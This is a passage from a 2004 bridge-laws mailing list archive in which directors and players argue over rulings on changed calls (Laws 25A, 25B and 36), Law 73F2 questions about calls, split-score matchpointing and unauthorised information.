From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Ton > Kooijman > Sent: 21. mars 2004 10:26 > To: blml@rtflb.org > Subject: Re: [blml] a small matter of scoring >=20 >=20 > ----- Original Message ----- > From: "Petrus Schuster OSB" > To: > Sent: Sunday, March 21, 2004 9:54 AM > Subject: [blml] a small matter of scoring >=20 >=20 > > It's nothing much, but: > > Let's assume there is a split score of NS -100, EW +620. The other = 99 > > scores are all +140. > > Now, applying L78A would give (on a top of 198) 100 matchpoints to = all > NS > > pairs scoring +140, and equally 100 matchpoints to their opponents = so > that > > NS and EW percentages for +140 add up to 101%. > > You would need seperate frequency sheets for NS and EW. > > Does any software actually do this? > > -- > > Petrus Schuster OSB >=20 > I hope all software does; if not don't use it. > The main programs in my country do. >=20 > ton >=20 >=20 >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From svenpran@online.no Mon Mar 22 10:57:52 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 22 Mar 2004 11:57:52 +0100 Subject: [blml] a small matter of scoring - wrong address - sorry! In-Reply-To: <000001c40ff1$b931a530$6900a8c0@WINXP> Message-ID: <000101c40ffc$85dc2970$6900a8c0@WINXP> My apologies to blml'ers for accidentally addressing a note to blml instead of as intended to the correct destination in Norway. Regards Sven From t.kooyman@worldonline.nl Mon Mar 22 10:58:34 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Mon, 22 Mar 2004 11:58:34 +0100 Subject: [blml] Explain References: <000e01c40d85$158ed470$c5d2403e@multivisionoem> <002101c40f6a$91192230$1e81b6d4@LNV> <002f01c40fbc$d19e0940$b3e4403e@multivisionoem> Message-ID: <015c01c40ffc$a6320e10$4cf8f0c3@LNV> > > > > > What I do know is that the LC in Monaco '03 > > agreed that a player who wants to understand > > what is going on during the auction and asks > > about the meaning of calls, therewith has a > > bridge reason. Grattan simply is misleading blml. > << > +=+ from the WBFLC minutes, Monaco 2003: > > " The Secretary expressed his concern about the > potential of questions to mislead opponents and drew > attention to the requirement where this is alleged to > have happened (and the questioner could have known > that asking the question might work to his benefit) to > show (Law 73F2) that he had a "demonstrable bridge > reason" for asking the question. The chairman expressed > his opinion that Law 73F2 should only be used in > extreme situations when a player asks about the meaning > of a call. In relation to misleading an opponent, not in relation to giving UI to partner, there the situation is not so extreme. And the extreme situation as meant is proven by the fact that I don't know of any case in which the TD did decide to use 73F2 in 36 years of personal TD-work, nor did I receive any case from any of the blml-ers, despite my repeated request. I would appreciate if Kojak can tell us about the case he knows about. For the moment the only case was the one I invented some time ago and gave to blml. ton He thought that normally a desire to know > what is happening at the table is a good enough "bridge > reason". Mr. Schoder cited his experience of a case > where, in his opinuion it was appropriate to apply that > law and, likewise not convinced of the chairman's > argument, the Secretary maintained his position that the > occasion for applying 73F2 is a matter for the Director > and the Appeals Committee to judge. We are not different from other groups meeting, people having their own agenda. There can't be a difference in opinion about the authority to decide whether L 73F2 applies. That will be the TD and if necessary the AC. So your position is not surprising, shared by everybody and not interesting at all. The question was whether a player may ask about the meaning of a call even when his own call doesn't depend on the answer. And as far as I remember Kojak, Polisner, Bavin, Wignall said 'yes' on that question (as Kojak did in a reaction during this thread). I remember only one member who didn't: you. So there was a difference of opinion indeed and I didn't succeed in formulating an agreed interpretation. Thank you. As far as the minutes are concerned: they are wrongly written and clearly express and support your personal approach. I am talking about: ' ...there needed to be some scope for asking questions even when not interested in the reply'. That was not the issue!!! A player who wants to know what is going on during the auction is per definition interested in the reply. Probably the whole LC is willing to admit that a player who is not interested in the reply should not ask such question (and then we are still in danger to do 'word gaming': a player asking for the benefit of his partner is not interested in the way I mean this) ton > Mr.Wignall spoke of the possibility of asking > questions randomly whether interested or not. He felt > there needed to be some scope for asking questions > even when not interested in the reply. Mr Schoder referred > to the possibility of replacing alerts with announcements. > There was no final resolution of the differences of opinion > and no agreed interpretation of the law." > > ~ Grattan ~ +=+ > > > > > > > > > > > > > > > > > > > > > > > From t.kooyman@worldonline.nl Mon Mar 22 10:24:59 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Mon, 22 Mar 2004 11:24:59 +0100 Subject: [blml] X as first call References: <000001c40fef$48abb730$6900a8c0@WINXP> Message-ID: <015b01c40ffc$a61e37f0$4cf8f0c3@LNV> > But what is the purpose of Law 25A, as originally > intended by the WBF LC? It seems to me that Law > 25A directs that "the applicable Law" for an > illegal call should only apply if the "last call" > was illegal, not if the earlier cancelled > inadvertent call is illegal. That is exactly how we use Law 25A in Norway: When we rule that Law 25A is applicable to a "change of call" it means that the player never intended to make his first (replaced) call, that call conveys no information and is treated as if it had never been made. This is also why we always first try a change of call against Law 25A before proceeding to Law 25B and the other laws in the book. The terms "If legal" and "if illegal" in Law 25A literally address the last (replacing) call. Regards Sven **** If even this is a problem we will not succeed in making the laws easier to read. How is it possible to read L25A in another way than described by Sven? And yes in the X-as-first-call case of course the TD should start to find out whether L25A aplies. It very well might. In my opinion L25B only applies when the offender has tried to substitute the illegal double. If not we go to L36 at once, so the LC seems unanimous so far. ton From blml@blakjak.com Mon Mar 22 11:36:06 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 22 Mar 2004 11:36:06 +0000 Subject: [blml] X as first call In-Reply-To: References: Message-ID: RJH wrote >However, one of Australia's CTDs has proposed an >interpretation which might cut the Gordian knot. >He argues that an inadvertent call cancelled >pursuant to Law 25A never actually existed, but >merely had temporary virtual existence. Sometimes when I read something a sense of unreality falls over me, and I wonder if I was somewhere else when the rest of the thread happened. The above interpretation by an Australian CTD is so obviously correct that [a] I thought everyone knew it, [b] I did not think it was worth discussing, and [c] I did not realise anyone ever thought otherwise. Actually, I seem to have a dim memory of saying something to this effect here about five or so years ago, but unsurprisingly no-one disagreed. Does this mean that some people out there think that an **inadvertent** call has substance, and can possibly pass information? Please tell me how and why. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From schoderb@msn.com Mon Mar 22 11:54:41 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Mon, 22 Mar 2004 06:54:41 -0500 Subject: [blml] X as first call References: <000001c40fef$48abb730$6900a8c0@WINXP> <015b01c40ffc$a61e37f0$4cf8f0c3@LNV> Message-ID: Please remember that my position is based on a call that was NOT inadvertent. I thought it not necessary to mention that this determination must be made before applying either 25A or 36. It never passes to (to me odious) 25B. I agree that an inadvertency means that the attempt to call was a mechanical slip of the tongue or hand. It is important to determine why the player doubled -- did he think there had been an opening bid on his right? I'm assuming (always a dangerous thing to do) that when he wrote the X he had a reason for it. After making this mistake he realized it as such and wished to correct it. Not at all an inadvertency. ----- Original Message ----- From: "Ton Kooijman" To: "Sven Pran" ; "blml" Sent: Monday, March 22, 2004 5:24 AM Subject: Re: [blml] X as first call > > But what is the purpose of Law 25A, as originally > > intended by the WBF LC? It seems to me that Law > > 25A directs that "the applicable Law" for an > > illegal call should only apply if the "last call" > > was illegal, not if the earlier cancelled > > inadvertent call is illegal. > > That is exactly how we use Law 25A in Norway: > > When we rule that Law 25A is applicable to a "change of call" it means > that > the player never intended to make his first (replaced) call, that call > conveys no information and is treated as if it had never been made. > > This is also why we always first try a change of call against Law 25A > before > proceeding to Law 25B and the other laws in the book. > > The terms "If legal" and "if illegal" in Law 25A literally address the > last > (replacing) call. > > Regards Sven > > **** > If even this is a problem we will not succeed in making the laws easier to > read. How is it possible to read L25A in another way than described by > Sven? > And yes in the X-as-first-call case of course the TD should start to find > out whether L25A aplies. It very well might. > > In my opinion L25B only applies when the offender has tried to substitute > the illegal double. If not we go to L36 at once, so the LC seems unanimous > so far. > > ton > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From svenpran@online.no Mon Mar 22 12:24:39 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 22 Mar 2004 13:24:39 +0100 Subject: [blml] X as first call In-Reply-To: Message-ID: <000001c41008$a651d4a0$6900a8c0@WINXP> > WILLIAM SCHODER > Please remember that my position is based on a call that was NOT > inadvertent. I thought it not necessary to mention that this = determination > must be made before applying either 25A or 36. It never passes to (to = me > odious) 25B.=20 Oh yes. Whenever there has been a change of call the director must first = determine whether Law 25A is applicable. If the director rules that it is not then = he must proceed to Law 25B and offer LHO to accept the substituted call. If = LHO does not then Law 25B2 applies. And it is Law 25B2(a) which in this case directs us to Law 36! The director makes an error if he denies LHO the right to accept the substituted call as offered by L25B1 (There is a small catch here: If the substituted call is illegal then = LHO still has the right to accept that call, but in this case the = substituted call is subject to the applicable law as if it had been the only call = made by that player in that round. When Law 25B1 says "the second call stands = and the auction proceeds without penalty" it had better say: ..."without = penalty for changing the call" or words to that effect.) Regards Sven From gordon@gordonrainsford.co.uk Mon Mar 22 12:46:08 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 22 Mar 2004 12:46:08 +0000 Subject: [blml] X as first call In-Reply-To: References: <000001c40fef$48abb730$6900a8c0@WINXP> <015b01c40ffc$a61e37f0$4cf8f0c3@LNV> Message-ID: On 22 Mar 2004, at 11:54, WILLIAM SCHODER wrote: > Please remember that my position is based on a call that was NOT > inadvertent. I thought it not necessary to mention that this > determination > must be made before applying either 25A or 36. It never passes to (to > me > odious) 25B. Why not? Because you find it odious? If we start by applying L25A, we don't reach the point where we're directed to L36 until after we've covered the part of L25B which allows LHO to condone a substituted call. -- Gordon Rainsford London UK From gordon@gordonrainsford.co.uk Mon Mar 22 12:46:42 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Mon, 22 Mar 2004 12:46:42 +0000 Subject: [blml] Explain In-Reply-To: <002f01c40fbc$d19e0940$b3e4403e@multivisionoem> References: <000e01c40d85$158ed470$c5d2403e@multivisionoem> <002101c40f6a$91192230$1e81b6d4@LNV> <002f01c40fbc$d19e0940$b3e4403e@multivisionoem> Message-ID: Grattan wrote: What I say is that in 1987 we did not allow that merely wishing to keep abreast of the auction was a demonstrable *bridge* reason as ton now wishes to argue. ~ Grattan ~ +=+ It seems from your more recent post, below, that nor did the committee disallow such a reason. Gordon Rainsford London, UK > +=+ from the WBFLC minutes, Monaco 2003: > > " The Secretary expressed his concern about the > potential of questions to mislead opponents and drew > attention to the requirement where this is alleged to > have happened (and the questioner could have known > that asking the question might work to his benefit) to > show (Law 73F2) that he had a "demonstrable bridge > reason" for asking the question. The chairman expressed > his opinion that Law 73F2 should only be used in > extreme situations when a player asks about the meaning > of a call. He thought that normally a desire to know > what is happening at the table is a good enough "bridge > reason". Mr. Schoder cited his experience of a case > where, in his opinuion it was appropriate to apply that > law and, likewise not convinced of the chairman's > argument, the Secretary maintained his position that the > occasion for applying 73F2 is a matter for the Director > and the Appeals Committee to judge. > Mr.Wignall spoke of the possibility of asking > questions randomly whether interested or not. He felt > there needed to be some scope for asking questions > even when not interested in the reply. Mr Schoder referred > to the possibility of replacing alerts with announcements. > There was no final resolution of the differences of opinion > and no agreed interpretation of the law." > > ~ Grattan ~ +=+ From karel@esatclear.ie Mon Mar 22 15:52:48 2004 From: karel@esatclear.ie (Karel) Date: Mon, 22 Mar 2004 15:52:48 GMT Subject: [blml] A question and a ruling Message-ID: <405f0bd0.4148.0@esatclear.ie> Question S x H KQxxx D Jx C Qxxxx Bidding 1S (2H) 3S (3H) P ?? You overcall 2H, pd bids 3H which is accepted. Can you now bid 4H's or 4C's ?? Is there UI that pd intended to bid 4H's or maybe he didn't see the 3S's and intended to bid 3H's or 2S's ?? -------------------------------------------- Case S AT9x S Q H AQ H xx D AKxx D QJ9xxx C T9x C Qxxx S Kxxxx H Kxxx D xx C xx Bidding 2C(1) P 2NT P 3H(2) P 4NT P P(3) (1) normal big atifical 2C hand or weak diamonds (2) Ogust reply weak points good suit. Alerted as a big hand natural (3) Passes the RKC ask (they are playing 3041) 4NT makes - opps protest that there is UI which opener acted upon. Your call. K. -- http://www.iol.ie From john@asimere.com Mon Mar 22 16:12:38 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 22 Mar 2004 16:12:38 +0000 Subject: [blml] X as first call In-Reply-To: <000001c40fef$48abb730$6900a8c0@WINXP> References: <000001c40fef$48abb730$6900a8c0@WINXP> Message-ID: In article <000001c40fef$48abb730$6900a8c0@WINXP>, Sven Pran writes >> richard.hills@immi.gov.au >....... >> But what is the purpose of Law 25A, as originally >> intended by the WBF LC? It seems to me that Law >> 25A directs that "the applicable Law" for an >> illegal call should only apply if the "last call" >> was illegal, not if the earlier cancelled >> inadvertent call is illegal. > >That is exactly how we use Law 25A in Norway: > >When we rule that Law 25A is applicable to a "change of call" it means that >the player never intended to make his first (replaced) call, that call >conveys no information and is treated as if it had never been made. > >This is also why we always first try a change of call against Law 25A before >proceeding to Law 25B and the other laws in the book. > >The terms "If legal" and "if illegal" in Law 25A literally address the last >(replacing) call. I agree. "What call were you trying to make at the point you removed the card from the box?" is my question. Any other call apparently made never existed, and I go so far as to explain this to everyone at the table pointing out that the withdrawn call never was in the mind of the player who made it and thus there is no unauthorised or authorised information available, and no infraction (except bad hand-eye co- ordination). Seems obvious to me, but then I'm just an egg. john > >Regards Sven > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Mon Mar 22 16:16:03 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 22 Mar 2004 16:16:03 +0000 Subject: [blml] a small matter of scoring - wrong address - sorry! In-Reply-To: <000101c40ffc$85dc2970$6900a8c0@WINXP> References: <000001c40ff1$b931a530$6900a8c0@WINXP> <000101c40ffc$85dc2970$6900a8c0@WINXP> Message-ID: In article <000101c40ffc$85dc2970$6900a8c0@WINXP>, Sven Pran writes >My apologies to blml'ers for accidentally addressing a note to blml instead >of as intended to the correct destination in Norway. > >Regards Sven I confess I spent a moment thinking I was reading Grattan having a particularly opaque day :) (Pace Grattan) > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From blml@blakjak.com Mon Mar 22 17:01:43 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 22 Mar 2004 17:01:43 +0000 Subject: [blml] A question and a ruling In-Reply-To: <405f0bd0.4148.0@esatclear.ie> References: <405f0bd0.4148.0@esatclear.ie> Message-ID: Karel wrote >Question > >S x >H KQxxx >D Jx >C Qxxxx > >Bidding > >1S (2H) 3S (3H) >P ?? > >You overcall 2H, pd bids 3H which is accepted. Can you now bid 4H's or 4C's >?? Is there UI that pd intended to bid 4H's or maybe he didn't see the 3S's >and intended to bid 3H's or 2S's ?? Either there is UI, or there isn't. If partner said something unfortunate "I did not see the 3S" "Didn't I bid 4H?" "3H? I thought I bid 3NT" then that is UI, with all the consequences. But if he did not then he has bid 3H. You do not know why he bid 3H, but it has been made a legal call, and you can do what you like, including guessing why he bid 3H. Over the years I have been in a minority [usually a small minority] claiming that players have no idea why other people make insufficient bids. My experience as a Director, non-offending player, and offending player still strongly support this except when something unfortunate is said. People who *know* why an insufficient bid has been made have, in my view, as much credibility as those who tell you what horse will win a horse race. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Mon Mar 22 17:14:38 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 22 Mar 2004 17:14:38 +0000 Subject: [blml] A question and a ruling In-Reply-To: <405f0bd0.4148.0@esatclear.ie> References: <405f0bd0.4148.0@esatclear.ie> Message-ID: Karel wrote >Case > > >S AT9x S Q >H AQ H xx >D AKxx D QJ9xxx >C T9x C Qxxx > > S Kxxxx > H Kxxx > D xx > C xx > >Bidding > >2C(1) P 2NT P >3H(2) P 4NT P >P(3) > >(1) normal big atifical 2C hand or weak diamonds >(2) Ogust reply weak points good suit. Alerted as a big hand natural >(3) Passes the RKC ask (they are playing 3041) > >4NT makes - opps protest that there is UI which opener acted upon. Your call. The UI suggests that opener has made the correct bid - even though he has not - so I cannot see how it affects the final choice of pass. No doubt this pair will get far more bad boards than good! --------------------- Just for interest, let me tell you of a little conversation when I was playing with the Bear, Ted Reveley, in the other room. He does not suffer fools lightly - you ask Grattan - and taking bad boards back to him is a bit of a challenge. Anyway, we reached some board half-way through the scoring. +150, says the Bear. 2 out, I reply, and we moved on to the next board. Phewwwwwwww ! The actual story was that the Bear had taken 3NT three off, but the bidding in our room was different: 2C(1) P 2NT P 3NT(2) P .. P(3) 7NT(4) P(5) P P (1) normal big artificial 2C hand or weak diamonds (2) Ogust reply - but there is no reply above 3S .... (3) out of turn - she does not see any reason to wait for me (4) ... so I assume he has 21+ balanced (5) at the speed of light with the Stop card still on the table As she cashed her ace it occurred ot her that a little thought would have been a good idea, and I went four off. Goodness knows what pd was doing with 3NT - he had a bad suit and medium points. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From luis@fuegolabs.com Mon Mar 22 19:32:34 2004 From: luis@fuegolabs.com (Luis Argerich) Date: Mon, 22 Mar 2004 16:32:34 -0300 Subject: [blml] Authorized candy or not Message-ID: <047701c41044$6cfe1d30$a301a8c0@fuegolabs.com> Can dummy have Unauthorized information? :-) Regular pair - Foo & Bar. Since "Foo" is a nervous person he asks his pd "Bar" to claim and not search for exotic overtricks in laydown contracts because he gets nervous as dummy and that's bad for him. "Foo" who likes a lot to play rare squeezes for overtricks finds a solution, he tells his pd that he will play "laydown" or "easy" contracts normally and he will eat a candy whenever he is playing a hard hand. So as long as I'm not eating a candy you can relax, I can look in problems but I'm only thinking about overtricks or safety plays. Is this legal? Do they have to inform their opponents? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 3/21/2004 From siegmund@mosquitonet.com Mon Mar 22 20:24:13 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Mon, 22 Mar 2004 11:24:13 -0900 (AKST) Subject: [blml] X as first call In-Reply-To: Message-ID: On Sat, 20 Mar 2004, Laval Dubreuil wrote: > The dealer put a X as first call.... When called, he told me: > "I was just not there... I have a normal 1C opening." You don't say if he said this just to you, or if his partner heard it. > My ruling: > > Law 25A cannot be applied: he was disturbed and really > intended the X and put the intended bid card on table. OK so far. > LHO may accept the substitute 1C call (Law 25B1). He did not. Here you lose me. I don't see where the doubler tried to pull another card out of his box. You certainly haven't invited him to. (But there may be UI, if his comment about 'not being there' was overheard by his partner.) I think we go straight to 36 when 25A doesn't apply. Offender substitutes a legal call, and offender's partner is barred, whether LHO is happy about accepting the substitution or not. I agree that 26B applies. There is still some possibility of UI from the "I have a normal 1C" comment - for instance, if he bids clubs opposite a barred partner he probably has at least 5 not just 3. (L16C still applies, too.) GRB From ereppert@rochester.rr.com Mon Mar 22 21:12:36 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 22 Mar 2004 16:12:36 -0500 Subject: [blml] X as first call In-Reply-To: Message-ID: On Monday, Mar 22, 2004, at 11:12 US/Eastern, John (MadDog) Probst wrote: > I agree. "What call were you trying to make at the point you removed > the > card from the box?" is my question. Any other call apparently made > never existed, and I go so far as to explain this to everyone at the > table pointing out that the withdrawn call never was in the mind of the > player who made it and thus there is no unauthorised or authorised > information available, and no infraction (except bad hand-eye co- > ordination). One thing bothers me now. In his original post, Laval said: >> The dealer put a X as first call.... When called, he told me: >> "I was just not there... I have a normal 1C opening." >> >> My ruling: >> >> Law 25A cannot be applied: he was disturbed and really >> intended the X and put the intended bid card on table. Everyone seemed to agree, so I figured "okay, fair enough." But on reflection I'm not so sure dealer's double was not inadvertent - "I was not there" certainly doesn't seem to me as if he *intended* to double. So why am I wrong? :-) I daresay the answer to John's question above would *not* have been "double". It seems to have been "damned if I know", at best. From ereppert@rochester.rr.com Mon Mar 22 21:16:59 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 22 Mar 2004 16:16:59 -0500 Subject: [blml] Authorized candy or not In-Reply-To: <047701c41044$6cfe1d30$a301a8c0@fuegolabs.com> Message-ID: <413B996C-7C46-11D8-AC54-0030656F6826@rochester.rr.com> On Monday, Mar 22, 2004, at 14:32 US/Eastern, Luis Argerich wrote: > Is this legal? Do they have to inform their opponents? Since dummy is not permitted to participate in the play, I would think that any communication to him cannot be UI (though I'm prepared for someone to show me how I'm wrong :) I think the answers to your questions are "yes" and "no". From svenpran@online.no Mon Mar 22 22:17:56 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 22 Mar 2004 23:17:56 +0100 Subject: [blml] X as first call In-Reply-To: Message-ID: <000001c4105b$874ec010$6900a8c0@WINXP> > Gordon Bower > > The dealer put a X as first call.... When called, he told me: > > "I was just not there... I have a normal 1C opening." >=20 > You don't say if he said this just to you, or if his partner heard it. >=20 > > My ruling: > > > > Law 25A cannot be applied: he was disturbed and really > > intended the X and put the intended bid card on table. >=20 > OK so far. >=20 > > LHO may accept the substitute 1C call (Law 25B1). He did not. >=20 > Here you lose me. I don't see where the doubler tried to pull another = card > out of his box. You certainly haven't invited him to. (But there may = be > UI, if his comment about 'not being there' was overheard by his = partner.) >=20 > I think we go straight to 36 when 25A doesn't apply. Offender = substitutes > a legal call, and offender's partner is barred, whether LHO is happy = about > accepting the substitution or not. HEY!!! What are you thinking? Either there was a change of call then you try first Law 25A and if that does not apply then you try Law 25B. Eventually you may end up with Law = 36. Or there was no change of call in which case you go directly to Law 36. Once the Director considered Law 25A he has made up his mind that the = player tried to change his call. The offender has more ways to (attempt) = changing his call than just pulling bid cards from the box even when bid boxes = are in use.=20 Sven=20 From siegmund@mosquitonet.com Mon Mar 22 22:06:41 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Mon, 22 Mar 2004 13:06:41 -0900 (AKST) Subject: [blml] X as first call In-Reply-To: <000001c4105b$874ec010$6900a8c0@WINXP> Message-ID: I previously said: > > I think we go straight to 36 when 25A doesn't apply. Offender substitutes > > a legal call, and offender's partner is barred, whether LHO is happy about > > accepting the substitution or not. And Sven asked: > HEY!!! What are you thinking? OK, a fair question. Let me be clearer: I come to the table, and I ask what the problem is. If someone says "I pulled the wrong card" or "Can I change my bid?", I am in a Law 25 situation. If noone is attempting to change a call, I am not. > Once the Director considered Law 25A he has made up his mind that the player > tried to change his call. No: the director arrived at the table, and considered the possibility he might be dealing with a mispull, in which case he would then proceed to give a L25A ruling. Once the facts are established, it is seen to not be a L25 case at all. > The offender has more ways to (attempt) changing > his call than just pulling bid cards from the box even when bid boxes are in > use. Yes. This offender, however, didn't say he mispulled, didn't pull another card from the box, didn't ask if he could change his call, or anything else: he just said he didn't know what he was thinking when he pulled out the double. His second sentence (which he shouldnt have said out loud at all probably) "I have a normal 1C bid" is carefully worded to AVOID sounding like he was actually trying to bid 1C, then or now. GRB From richard.hills@immi.gov.au Tue Mar 23 00:04:40 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 23 Mar 2004 10:04:40 +1000 Subject: [blml] X as first call Message-ID: Ed Reppert asked: [snip] >>But on reflection I'm not so sure dealer's >>double was not inadvertent - "I was not there" >>certainly doesn't seem to me as if he >>*intended* to double. >> >>So why am I wrong? :-) [snip] WBF LC minutes, 30th August 2000: >What is inadvertent? Assume the player intends >to do one thing at the moment he reaches for >the bidding box, or his pen or pencil if using >written bidding, or for the bidding board, or >starts to speak. Then it is inadvertent if his >attention is drawn in that instant to some >other matter and then he finds he has actually >done something different. His mind has >switched away from what he was doing. Richard James Hills notes: Despite this "beware of the leopard" definition by the WBF LC, it seems that the actual TD was unaware of the existence of this definition, and so gave an incorrect table ruling. {sarcasm mode on} Of course, it would have been useful if the WBF LC had included the definition of "inadvertent" in the appropriate place - in the Definitions of Chapter 1 of the Laws. {sarcasm mode off} Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From svenpran@online.no Mon Mar 22 23:14:54 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 23 Mar 2004 00:14:54 +0100 Subject: [blml] X as first call In-Reply-To: Message-ID: <000001c41063$7cbf1200$6900a8c0@WINXP> OK I see your point which is perfectly valid as long as the offender has not in any way indicated what alternative call he intended to make, only that the call he did make was unintentional. > Gordon Bower > I come to the table, and I ask what the problem is. If someone says "I > pulled the wrong card" or "Can I change my bid?", I am in a Law 25 > situation. If noone is attempting to change a call, I am not. If the player says that he pulled the wrong card and "may he make the call he intended to make all the time" you have a Law 25A case even when he does not indicate what call he actually wanted to make. He has not (yet) changed his call, only asked if he is permitted to do so (under Law 25A that must be). I believe this is a correct understanding of Law 25A. And if you deny him a Law 25A change of call then all that remains is UI to his partner. .....snip a bit > Yes. This offender, however, didn't say he mispulled, didn't pull another > card from the box, didn't ask if he could change his call, or anything > else: he just said he didn't know what he was thinking when he pulled out > the double. His second sentence (which he shouldnt have said out loud at > all probably) "I have a normal 1C bid" is carefully worded to AVOID > sounding like he was actually trying to bid 1C, then or now. But the moment he said this sentence he has in my opinion tried to change his call and must be ruled under the complete set of Laws 25A and 25B. It doesn't help how carefully he selected his words. The fact (?) is that by naming a specific alternative call together with words to the effect that his first call was not the call he wanted to make he has indeed tried to change his call. Regards Sven From john@asimere.com Tue Mar 23 04:12:48 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 23 Mar 2004 04:12:48 +0000 Subject: [blml] X as first call In-Reply-To: References: Message-ID: <3G7stKAAl7XAFwV+@asimere.com> In article , Ed Reppert writes > >On Monday, Mar 22, 2004, at 11:12 US/Eastern, John (MadDog) Probst >wrote: > >> I agree. "What call were you trying to make at the point you removed >> the >> card from the box?" is my question. Any other call apparently made >> never existed, and I go so far as to explain this to everyone at the >> table pointing out that the withdrawn call never was in the mind of the >> player who made it and thus there is no unauthorised or authorised >> information available, and no infraction (except bad hand-eye co- >> ordination). > >One thing bothers me now. In his original post, Laval said: > >>> The dealer put a X as first call.... When called, he told me: >>> "I was just not there... I have a normal 1C opening." >>> >>> My ruling: >>> >>> Law 25A cannot be applied: he was disturbed and really >>> intended the X and put the intended bid card on table. On one other occasion a dozy lol put a Pass card on a table and when I pitched up the oppo kindly said, "she did look really surprised when she saw it there". When I made a L25A enquiry she admitted she had no idea what her thoughts were, indeed how it even got there. I couldn't conceive that in spoken bidding she would have said "Pi-ee-arse" (USA pronunciation you understand, just to keep the yanks happy) and let her change it. I might be inclined to do the same here, unless he told me "No, I intended the double, but my brain was on the far side of the moon". I'd have to have been there. > >Everyone seemed to agree, so I figured "okay, fair enough." But on >reflection I'm not so sure dealer's double was not inadvertent - "I was >not there" certainly doesn't seem to me as if he *intended* to double. >So why am I wrong? :-) > >I daresay the answer to John's question above would *not* have been >"double". It seems to have been "damned if I know", at best. > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Tue Mar 23 04:18:32 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 23 Mar 2004 04:18:32 +0000 Subject: [blml] X as first call In-Reply-To: <000001c41063$7cbf1200$6900a8c0@WINXP> References: <000001c41063$7cbf1200$6900a8c0@WINXP> Message-ID: <$G9uNXAYq7XAFw01@asimere.com> In article <000001c41063$7cbf1200$6900a8c0@WINXP>, Sven Pran writes >OK I see your point which is perfectly valid as long as the offender has not >in any way indicated what alternative call he intended to make, only that >the call he did make was unintentional. > >> Gordon Bower >> I come to the table, and I ask what the problem is. If someone says "I >> pulled the wrong card" or "Can I change my bid?", I am in a Law 25 >> situation. If noone is attempting to change a call, I am not. > >If the player says that he pulled the wrong card and "may he make the call >he intended to make all the time" you have a Law 25A case even when he does >not indicate what call he actually wanted to make. He has not (yet) changed >his call, only asked if he is permitted to do so (under Law 25A that must >be). I believe this is a correct understanding of Law 25A. > >And if you deny him a Law 25A change of call then all that remains is UI to >his partner. > >.....snip a bit > >> Yes. This offender, however, didn't say he mispulled, didn't pull another >> card from the box, didn't ask if he could change his call, or anything >> else: he just said he didn't know what he was thinking when he pulled out >> the double. His second sentence (which he shouldnt have said out loud at >> all probably) "I have a normal 1C bid" is carefully worded to AVOID >> sounding like he was actually trying to bid 1C, then or now. > >But the moment he said this sentence he has in my opinion tried to change >his call No. Strongly disagree. He has not attempted to change his call, he is passing the time of day with the TD, but he has created UI however. > and must be ruled under the complete set of Laws 25A and 25B. It >doesn't help how carefully he selected his words. The fact (?) is that by >naming a 